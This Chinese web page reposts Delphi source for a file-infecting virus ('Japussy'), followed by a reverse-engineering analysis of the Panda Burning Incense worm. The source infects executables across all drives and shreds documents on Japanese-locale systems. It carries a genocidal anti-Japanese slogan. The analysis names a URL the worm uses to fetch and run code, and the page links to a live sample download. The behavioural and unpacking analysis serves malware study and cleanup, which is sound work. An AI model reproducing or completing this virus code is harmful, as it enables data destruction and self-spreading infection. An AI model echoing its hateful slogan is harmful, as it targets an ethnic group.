[PC样本分析] 经典病毒分析——熊猫烧香

a1辅助网提供[PC样本分析] 经典病毒分析——熊猫烧香的下载地址,长期提供破解软件,各种线报福利等,105992是一个很好的福利资源网站

[Delphi] 纯文本查看 复制代码
  //原地址:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864    //熊猫烧香 - 核心源码      //----------  //僅供研究使用!後果自行負責     //代码:----------  //程序代码  program Japussy;  uses    Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};  const    HeaderSize = 82432;          //病毒体的大小    IconOffset = $12EB8;          //PE文件主图标的偏移量        //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同    //查找2800000020的十六进制字符串可以找到主图标的偏移量       {    HeaderSize = 38912;          //Upx压缩过病毒体的大小    IconOffset = $92BC;          //Upx压缩过PE文件主图标的偏移量        //Upx 1.24W 用法: upx -9 --8086 Japussy.exe  }    IconSize   = $2E8;          //PE文件主图标的大小--744字节    IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部    ID         = $44444444;          //感染标记        //垃圾码,以备写入    Catchword = 'If a race need to be killed out, it must be Yamato. ' +            'If a country need to be destroyed, it must be Japan! ' +            '*** W32.Japussy.Worm.A ***';  {$R *.RES}  function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;     stdcall; external 'Kernel32.dll'; //函数声明  var    TmpFile: string;    Si:      STARTUPINFO;    Pi:      PROCESS_INFORMATION;    IsJap:   Boolean = False; //日文操作系统标记  { 判断是否为Win9x }  function IsWin9x: Boolean;  var    Ver: TOSVersionInfo;  begin    Result := False;    Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);    if not GetVersionEx(Ver) then      Exit;    if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x      Result := True;  end;  { 在流之间复制 }  procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;    dStartPos: Integer; Count: Integer);  var    sCurPos, dCurPos: Integer;  begin    sCurPos := Src.Position;    dCurPos := Dst.Position;    Src.Seek(sStartPos, 0);    Dst.Seek(dStartPos, 0);    Dst.CopyFrom(Src, Count);    Src.Seek(sCurPos, 0);    Dst.Seek(dCurPos, 0);  end;  { 将宿主文件从已感染的PE文件中分离出来,以备使用 }  procedure ExtractFile(FileName: string);  var    sStream, dStream: TFileStream;  begin    try      sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);      try        dStream := TFileStream.Create(FileName, fmCreate);        try          sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分          dStream.CopyFrom(sStream, sStream.Size - HeaderSize);        finally          dStream.Free;        end;      finally        sStream.Free;      end;    except    end;  end;  { 填充STARTUPINFO结构 }  procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);  begin    Si.cb := SizeOf(Si);    Si.lpReserved := nil;    Si.lpDesktop := nil;    Si.lpTitle := nil;    Si.dwFlags := STARTF_USESHOWWINDOW;    Si.wShowWindow := State;    Si.cbReserved2 := 0;    Si.lpReserved2 := nil;  end;  { 发带毒邮件 }  procedure SendMail;  begin    //哪位仁兄愿意完成之?  end;  { 感染PE文件 }  procedure InfectOneFile(FileName: string);  var    HdrStream, SrcStream: TFileStream;    IcoStream, DstStream: TMemoryStream;    iID: LongInt;    aIcon: TIcon;    Infected, IsPE: Boolean;    i: Integer;    Buf: array[0..1] of Char;  begin    try //出错则文件正在被使用,退出      if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染        Exit;      Infected := False;      IsPE     := False;      SrcStream := TFileStream.Create(FileName, fmOpenRead);      try        for i := 0 to $108 do //检查PE文件头        begin          SrcStream.Seek(i, soFromBeginning);          SrcStream.Read(Buf, 2);          if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记          begin            IsPE := True; //是PE文件            Break;          end;        end;        SrcStream.Seek(-4, soFromEnd); //检查感染标记        SrcStream.Read(iID, 4);        if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染          Infected := True;      finally        SrcStream.Free;      end;      if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出        Exit;      IcoStream := TMemoryStream.Create;      DstStream := TMemoryStream.Create;      try        aIcon := TIcon.Create;        try          //得到被感染文件的主图标(744字节),存入流          aIcon.ReleaseHandle;          aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);          aIcon.SaveToStream(IcoStream);        finally          aIcon.Free;        end;        SrcStream := TFileStream.Create(FileName, fmOpenRead);        //头文件        HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);        try          //写入病毒体主图标之前的数据          CopyStream(HdrStream, 0, DstStream, 0, IconOffset);          //写入目前程序的主图标          CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);          //写入病毒体主图标到病毒体尾部之间的数据          CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);          //写入宿主程序          CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);          //写入已感染的标记          DstStream.Seek(0, 2);          iID := $44444444;          DstStream.Write(iID, 4);        finally          HdrStream.Free;        end;      finally        SrcStream.Free;        IcoStream.Free;        DstStream.SaveToFile(FileName); //替换宿主文件        DstStream.Free;      end;    except;    end;  end;    { 将目标文件写入垃圾码后删除 }  procedure SmashFile(FileName: string);  var    FileHandle: Integer;    i, Size, Mass, Max, Len: Integer;  begin    try      SetFileAttributes(PChar(FileName), 0); //去掉只读属性      FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件      try        Size := GetFileSize(FileHandle, nil); //文件大小        i := 0;        Randomize;        Max := Random(15); //写入垃圾码的随机次数        if Max < 5 then          Max := 5;        Mass := Size div Max; //每个间隔块的大小        Len := Length(Catchword);        while i < Max do        begin          FileSeek(FileHandle, i * Mass, 0); //定位          //写入垃圾码,将文件彻底破坏掉          FileWrite(FileHandle, Catchword, Len);          Inc(i);        end;      finally        FileClose(FileHandle); //关闭文件      end;      DeleteFile(PChar(FileName)); //删除之    except    end;  end;  { 获得可写的驱动器列表 }  function GetDrives: string;  var    DiskType: Word;    D: Char;    Str: string;    i: Integer;  begin    for i := 0 to 25 do //遍历26个字母    begin      D := Chr(i + 65);      Str := D + ':';      DiskType := GetDriveType(PChar(Str));      //得到本地磁盘和网络盘      if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then        Result := Result + D;    end;  end;  { 遍历目录,感染和摧毁文件 }  procedure LoopFiles(Path, Mask: string);  var    i, Count: Integer;    Fn, Ext: string;    SubDir: TStrings;    SearchRec: TSearchRec;    Msg: TMsg;    function IsValidDir(SearchRec: TSearchRec): Integer;    begin      if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and        (SearchRec.Name <> '..') then        Result := 0 //不是目录      else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and        (SearchRec.Name <> '..') then          Result := 1 //不是根目录      else Result := 2; //是根目录    end;  begin    if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then    begin      repeat        PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑        if IsValidDir(SearchRec) = 0 then        begin          Fn := Path + SearchRec.Name;          Ext := UpperCase(ExtractFileExt(Fn));          if (Ext = '.EXE') or (Ext = '.SCR') then          begin            InfectOneFile(Fn); //感染可执行文件                  end          else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then          begin            //感染HTML和ASP文件,将Base64编码后的病毒写入            //感染浏览此网页的所有用户            //哪位大兄弟愿意完成之?          end          else if Ext = '.WAB' then //Outlook地址簿文件          begin            //获取Outlook邮件地址          end          else if Ext = '.ADC' then //Foxmail地址自动完成文件          begin            //获取Foxmail邮件地址          end          else if Ext = 'IND' then //Foxmail地址簿文件          begin            //获取Foxmail邮件地址          end          else           begin            if IsJap then //是倭文操作系统            begin            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or            (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or            (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or            (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or            (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or            (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then            SmashFile(Fn); //摧毁文件            end;          end;        end;        //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑        Sleep(200);      until (FindNext(SearchRec) <> 0);    end;    FindClose(SearchRec);    SubDir := TStringList.Create;    if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then    begin      repeat        if IsValidDir(SearchRec) = 1 then          SubDir.Add(SearchRec.Name);      until (FindNext(SearchRec) <> 0);      end;    FindClose(SearchRec);    Count := SubDir.Count - 1;    for i := 0 to Count do      LoopFiles(Path + SubDir.Strings[i] + '', Mask);    FreeAndNil(SubDir);  end;  { 遍历磁盘上所有的文件 }  procedure InfectFiles;    var    DriverList: string;    i, Len: Integer;  begin    if GetACP = 932 then //日文操作系统      IsJap := True; //去死吧!    DriverList := GetDrives; //得到可写的磁盘列表    Len := Length(DriverList);    while True do //死循环    begin      for i := Len downto 1 do //遍历每个磁盘驱动器        LoopFiles(DriverList[i] + ':', '*.*'); //感染之      SendMail; //发带毒邮件      Sleep(1000 * 60 * 5); //睡眠5分钟    end;  end;  { 主程序开始 }  begin    if IsWin9x then //是Win9x      RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程    else //WinNT    begin      //远程线程映射到Explorer进程      //哪位兄台愿意完成之?    end;    //如果是原始病毒体自己    if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then      InfectFiles //感染和发邮件    else //已寄生于宿主程序上了,开始工作    begin      TmpFile := ParamStr(0); //创建临时文件      Delete(TmpFile, Length(TmpFile) - 4, 4);      TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格      ExtractFile(TmpFile); //分离之      FillStartupInfo(Si, SW_SHOWDEFAULT);      CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,        0, nil, '.', Si, Pi); //创建新进程运行之      InfectFiles; //感染和发邮件    end;  end.    {~~~~~~~~~~  完毕!    独孤九剑转载于DelphiBBS:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864}
[PC样本分析] 经典病毒分析——熊猫烧香分析的最透彻的
这也太硬核了,先收藏,好好消化一下。

那一日,人们又回忆起被胖达支配的恐惧。。。。

那年,机房风扇呼呼的吹,小狮子的呼噜呼呼的打,胖达揣着三根香占满了电脑。。。

时过数十载,重现当年经典,今日带来胖达分析四部曲。病毒分析初尝试,如有不足,望各位大佬指点

一、基本分析,并提取病毒样本,手工清理机器

“熊猫烧香”是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,他不但能感染系统中exe,com,pif,src,html,asp等文件,他还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件一般是系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫烧香的模样。
来自百度百科:熊猫烧香病毒对系统中所有除了盘符为A,B的磁盘类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘进行文件遍历感染

注:不感染文件大小超过10MB以上的

1.模拟真实场景,在虚拟机中运行样本

2.待病毒执行之后,观察可疑情况
使用PCHunter工具查看进程,定位到进程文件,再结束病毒进程
可疑进程判断依据:图标、文件名、文件路径

找到病毒所在位置,将其样本保存,再删除目录下的病毒程序(需结束病毒进程后删除)

注:在病毒运行后,需观察病毒情况
首先查看可疑进程,进程部分上文已经写出
再查看启动项(注册表,计划任务等)
注册表启动项有可疑进程

查看驱动,服务等可疑项
未发现异常

查看其他杂项,网络连接
有可疑进程的网络连接,主要端口号:80、443、139

使用抓包工具(WSExplorer)查看可疑流量
有加密的流量传输

3.提取样本:
将路径下文件提取到本地,并修改扩展名为vir
C:WindowsSystem32driversspo0lsv.exe 改为 C:WindowsSystem32driversspo0lsv.vir

4.样本概况:
文件: C:WindowsSystem32driversspo0lsv.vir
大小: 30001 bytes
修改时间: 2018年7月14日, 8:40:21
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

5.手工清理机器:
       ①结束可疑进程 spo0lsv.exe
       ②删除可疑进程启动项
       ③程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析。

二、行为分析,获取病毒行为
1.由于之前对病毒样本进行了一系列操作,所以将虚拟机还原快照,重新在虚拟机中运行病毒程序,使用火绒剑工具监控病毒样本的运行,待病毒执行一段时间后,分开查看病毒的行为。分析监控到的日志,主要观察的点:
       ①文件操作,主要看文件创建、修改、删除等操作
       ②注册表操作,主要看注册表设置、创建等操作
       ③进程操作,主要看创建进程、写入内存等操作
       ④网络操作,主要看网络连接地址、IP等信息
       ⑤其他行为,以及观察病毒样本运行后的反应
分析样本的行为,尽可能发现恶意行为。

开启火绒剑监控样本运行

①观察文件操作,主要观察文件的写入操作,这里保险起见勾选文件被修改和写入文件两个选项

②观察注册表操作,主要观察设置注册表的操作,这里勾选设置注册表项值

病毒程序自己建了一个注册表项,设置了一些信息

Internet Setting看起来应该是跟网络设置相关

其他的大多都是一些设置启动项和隐藏的一些操作

③观察进程操作
因为进程现在还不太好判断,所以进程相关的所有操作都先看一下

枚举进程可能是为了查找是否存在杀毒软件

④观察网络操作,这里能监控的数据不多,有可能会有遗漏

具体操作可以使用抓包工具(WSExplorer)进一步观察

⑤观察其他行为
行为监控属于火绒剑这个工具特色的一种功能,这里将常见的一些恶意代码行为进行了总结

执行监控可以观察病毒程序执行了哪些进程,加载了哪些模块的操作,这里还创建了CMD,执行了一些命令

查看动作信息->进程

分析情况总结:
分析监控的日志以及自行观察操作之后,可以分析出样本的恶意行为:
       1.自我复制样本到C盘:C:WindowsSystem32drivers目录下,启动C:WindowsSystem32driversspo0lsv.exe(即病毒程序)
       2.在每一个目录下创建Desktop_.ini,里面存放的是当前日期
       3.在C盘根目录下创建了autorun.inf文件,其中指定了自动启动的文件为根目录下的setup.exe(即病毒程序)
       4.对程序目录下的exe进行了感染,图标变为熊猫烧香,打开exe时,自动打开病毒
       5.枚举进程、查找窗口、打开设备
       6.设置注册表启动项为C:WindowsSystem32driversspo0lsv.exe
       7.自己创建了一个注册表的项,在其中写入了很多信息HKEY_LOCAL_MACHINESOFTWAREMicrosoftTracingspo0lsv_RASAPI32
       8.设置注册表键值,隐藏文件不显示HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL中的CheckedValue值
       9.修改注册表的项IE浏览器的代{过}{滤}理和连接设置
       10.使用CMD命令关闭网络共享
       11.连接局域网的一些地址,访问一些门户网站

三、详细分析病毒代码,获取行为的恶意代码
通过行为分析之后,可以知道恶意代码的一些恶意行为,想要获取更加详细的行为需要使用IDA或是OD分析样本。

1.查壳
使用Exeinfo PE 查壳,发现是FSG2.0的壳

因为FSG是压缩壳,所以脱壳最应该尝试的是ESP定律,其次就是单步跟踪。
使用OD载入病毒程序,发现入口没有pushad/pushfd指令,单步观察堆栈变化。

程序一开始并没有保存环境,遇到这种情况继续单步跟踪,发现有解密代码的地方

继续单步跟踪,不进入CALL,线性分析代码。很快找到了修复IAT的地方。继续跟踪

找到跳出循环修复IAT的地方,到达跳转到原始OEP的地方。

在原始OEP处DUMP文件,再使用ImprotREC修复IAT即可。

使用ImportREC修复IAT时发现不能完整识别所有的导入函数。

观察IAT,发现两个模块的函数之间被填充成了7FFFFFFFF。

将7FFFFFFF都改为0,再使用ImportREC重新获取。

这次成功获取,然后修复转存的文件即可。

使用dump修复后的文件用IDA打开进行分析,添加签名便于分析

搜索Delphi,找到Delphi6-7的特征库,应用可以识别出很多库函数

使用F5将其转换为伪代码,简单分析OEP处代码

OEP处代码

OEP代码分析过程:
根据伪代码所示,可以发现OEP处的代码一开始都是一些初始化变量的操作;
之后使用了一些库函数进行连接、赋值的一些操作;
调用的第一个函数为sub_405250,其参数有字符串“xboy",之后另一次调用中,参数有字符串“whboy”,在调用sub_405250之后,有LStrCmp字符串比较函数的调用,之后又有判断返回值的代码,可以猜测函数sub_405250应该是解密字符串函数。

在OD中动态调试病毒程序,验证猜测

观察数据窗口,内存窗口以及寄存器的变化,可以确认sub_405250就是解密字符串函数,故将sub_405250更改为解密字符串函数DecodeString。

剩下的sub_40819C、sub_40D18C、sub_40D088三个函数应该是执行恶意代码的函数,在代码的末尾处可以看到有一个消息循环,猜测应该是等待恶意代码执行完毕,函数才会退出。
所以OEP处函数可以分为五部分:

sub_40819C函数分析
首先如我们之前分析的一样,在每一个目录下创建Desktop_.ini文件

进行判断,是否进入判断语句
之后再对运行程序与生成路径比较,不一致则进入判断中,一致则继续向下

sub_4053AC函数功能为GetSystemDirectory,即获取Windows系统目录(System目录)的完整路径名。

故将sub_4053AC函数更名为GetSystemDirectory。

sub_405FC4函数功能在IDA中不太好判断,所以需使用OD动态调试分析
在OD中搜索405FC4函数,来到函数入口处,在入口处下断点,将病毒程序运行至此,此时可以观察到EAX中保存的是病毒程序的名称

进行栈回溯,找到调用位置

在下一行代码处下断点,观察其返回值,其返回值为1,但是这里是字节里的1;
判断此处功能应该是结束程序名为"spo0lsv.exe"的程序

验证猜想
将任一程序名更改为"spo0lsv.exe",将其运行

然后设置CALL的上一行代码为新EIP,再次F9运行

可以观察到被我们修改为"spo0lsv.exe"的程序被结束了
故将sub_405FC4函数更名为KillVirusProcess。

继续向下分析伪代码

sub_407B68函数内为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为WriteBatFile。

继续分析,判断当前是否为源病毒程序,如果是则进入判断语句,不是则结束进程

sub_40819C函数汇总:

快速定位感染exe的函数
使用OD动态调试样本,在CreateProcessA处下断点

进行栈回溯,找到关键跳转,使病毒程序不复制自身,不创建副本进程

跳转后对kernel32.CreateFileA下断点

F9运行程序,程序在CreateFileA断下,不断F9,直至运行至感染exe程序时

此时进行栈回溯,寻找感染关键代码,最终找到函数00407F00函数为病毒程序感染的关键函数,发现感染的类型有exe,scr,pif等。

在IDA中继续分析407F00函数

sub_40D18C函数分析
这个函数中有三个函数,分别功能:
       1.Create_ini函数创建线程,遍历目录创建Desktop_.ini
       2.Create_exe_inf函数设置了一个定时器,检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建
       3.Create_network函数创建线程,进行网络连接

Create_ini函数

进入sub_40A48C函数,可以看到在循环执行sub_409348函数,根据之前的判断,这里应该是在创建Desktop_.ini文件

进入sub_409348函数可以发现Desktop_.ini字符串,因为我们之前已经分析过Desktop_.ini文件中存放的是本地时间,此函数中也有获取本地时间的行为,推测此处为代码执行的地方

Create_exe_inf函数

进入TimerFunc函数,实际功能就是检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建

Create_network函数

进入sub_40BA8C函数,再进入sub_40B864函数发现是与网络连接相关的一些函数

sub_40D18C函数汇总:

sub_40D088函数分析
这个函数中调用了6个定时器:
       1.定时器1,sub_40CEE4,添加启动项、修改注册表
       2.定时器2,sub_40D040,下载恶意代码
       3.定时器3,sub_40D048,下载恶意代码、执行cmd命令
       4.定时器4,sub_407430,删除杀毒软件启动项、关闭杀软服务
       5.定时器5,sub_40CC4C,打开解密之后的网页
       6.定时器6,sub_40C728,下载恶意代码

进入sub_40CEE4函数,发现是添加启动项、修改注册表的操作

进入sub_40D040函数,再进入sub_40CC34,再进入sub_40C9B0,这里在访问网站并获取系统目录,应该是从服务器下载恶意代码

进入sub_40D048函数,发现内部有两个函数,函数sub_40CC34与函数sub_40D040功能相同,均为下载恶意代码

函数sub_40CDEC为执行cmd命令,关闭网络共享

进入sub_407430函数,再进入sub_406E44函数,发现都是删除杀毒软件启动项、关闭杀毒软件服务的操作

进入sub_40CC4C函数,打开解密之后的网页

进入sub_40C728函数,再进入sub_40C5E0函数,发现与sub_40D040功能类似,此处函数功能大致也是下载恶意代码
访问http://update.whboy.net/worm.txt下载并且执行病毒

执行恶意代码部分汇总:

四、提取病毒特征,完成查杀,编写文档报告及专杀工具
1.病毒特征
       MD5特征: 512301C535C88255C9A252FDF70B7A03
       SHA1值: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
       CRC32: E334747C
       感染特征: 文件名最后有感染标识字符串"WhBoy + 原文件名 + .exe + 02 + 文件大小 + 01"

2.手工查杀步骤
       1.排查可疑进程,使用PcHumter结束病毒进程 spo0lsv.exe
       2.检查启动项,删除病毒启动项 "Software\Microsoft\Windows\CurrentVersion\Run"
       3.删除C盘Systemdrivers目录下的spo0lsv.exe病毒程序
       4.修复被病毒破坏的文件,程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析

3.制作专杀工具

熊猫烧香样本:https://wwz.lanzouo.com/iLB8oy7jj0j

部分文章来自互联网,侵权删除www.a1fz.com/

www.a1fz.com A1fz网专注于福利分享,各种破解软件学习资料,视频教程等等,如有侵权告知管理员删除
币圈科学家软件免费下载网 » [PC样本分析] 经典病毒分析——熊猫烧香

发表评论